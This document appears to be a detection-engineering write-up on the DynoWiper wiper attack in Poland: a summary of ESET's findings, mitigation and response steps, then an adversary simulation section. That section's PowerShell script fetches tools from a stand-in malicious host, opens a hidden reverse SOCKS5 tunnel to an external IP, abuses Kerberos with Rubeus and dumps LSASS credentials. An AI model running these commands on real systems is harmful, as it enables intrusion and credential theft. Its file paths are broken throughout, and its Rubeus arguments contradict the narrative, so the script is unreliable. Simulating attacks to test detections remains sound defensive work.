ESET Research DynoWiper update: Technical analysis and attribution

Summary

DynoWiper is a destructive wiper used against an energy-sector organization in Poland, impacting multiple endpoints across operations. The executables were staged in a shared network location and launched directly from that share. ESET attributes the activity to Sandworm with medium confidence. Once executed, the malware corrupts targeted files with random bytes and triggers a forced reboot to complete the impact.

Investigation

ESET recovered three samples—schtask.exe, schtask2.exe, and _update.exe—dropped under C:\inetpub\pub. Embedded PDB paths suggest the binaries were compiled in a Vagrant environment. Reverse engineering showed a three-step wiping routine, with two variants inserting a five-second sleep between phases. Post-compromise artifacts also included the Kerberos tool Rubeus and an rsocx SOCKS5 proxy inside the victim network.

Mitigation

ESET PROTECT on the victim systems blocked all three variants, limiting damage. Reduce exposure by preventing unauthorized scheduled-task creation and monitoring for unexpected writes into shared directories. Add application allow-listing and disallow execution from network shares wherever possible.

Response

Identify and isolate hosts that run schtask.exe, schtask2.exe, or *_update.exe from a share. Preserve volatile evidence, review scheduled tasks and PowerShell deployment traces, and remove tools such as Rubeus and rsocx. Complete full forensics and restore data from verified clean backups.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:

  1. Establish a reverse SOCKS5 proxy using rsocx.exe. The adversary downloads the binary from an external server, places it in %TEMP%, and runs it with the -r 31.172.71.5:8008 argument to create a reverse tunnel back to the C2 host.
  2. Perform Kerberos ticket abuse with rubeus.exe. The tool is executed to request a Kerberos ticket‑granting ticket (TGT) for the domain admin account and subsequently forge a service ticket (s4u2self).
  3. Dump LSASS memory using procdump.exe (a common alternative to Task Manager) to capture credential material. Sysmon records a Process Access event where the attacker’s procdump.exe process accesses lsass.exe with the 0x1010 granted access mask (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION).

• Regression Test Script:

  # -------------------------------------------------------------
  # Simulation script – triggers the Sigma rule for rsocx, rubeus,
  # and LSASS dump. Run with administrative privileges.
  # -------------------------------------------------------------
  
  # 1. Deploy rsocx.exe (reverse SOCKS5 proxy)
  $rsocxPath = "$env:TEMPrsocx.exe"
  Invoke-WebRequest -Uri "http://malicious.example.com/rsocx.exe" -OutFile $rsocxPath
  Start-Process -FilePath $rsocxPath -ArgumentList "-r 31.172.71.5:8008" -WindowStyle Hidden
  
  # 2. Deploy rubeus.exe (Kerberos abuse)
  $rubeusPath = "$env:TEMPrubeus.exe"
  Invoke-WebRequest -Uri "http://malicious.example.com/rubeus.exe" -OutFile $rubeusPath
  Start-Process -FilePath $rubeusPath -ArgumentList "dump /service:krbtgt" -WindowStyle Hidden
  
  # 3. Dump LSASS using procdump (requires Sysinternals)
  $procdumpPath = "$env:TEMPprocdump.exe"
  Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMPprocdump.zip"
  Expand-Archive -Path "$env:TEMPprocdump.zip" -DestinationPath $env:TEMP -Force
  $procdumpExe = Get-ChildItem "$env:TEMP" -Recurse -Filter "procdump.exe" | Select-Object -First 1
  if ($procdumpExe) {
      Copy-Item $procdumpExe.FullName $procdumpPath -Force
      Start-Process -FilePath $procdumpPath -ArgumentList "-ma lsass.exe $env:TEMPlsass.dmp" -Wait
  }
  
  Write-Host "Simulation completed. Check SIEM for alerts."

• Cleanup Commands:

  # Terminate any lingering malicious processes
  Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Remove binaries and dump files
  Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue
  
  # Optionally delete temporary download directories
  Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue
  
  Write-Host "Cleanup finished."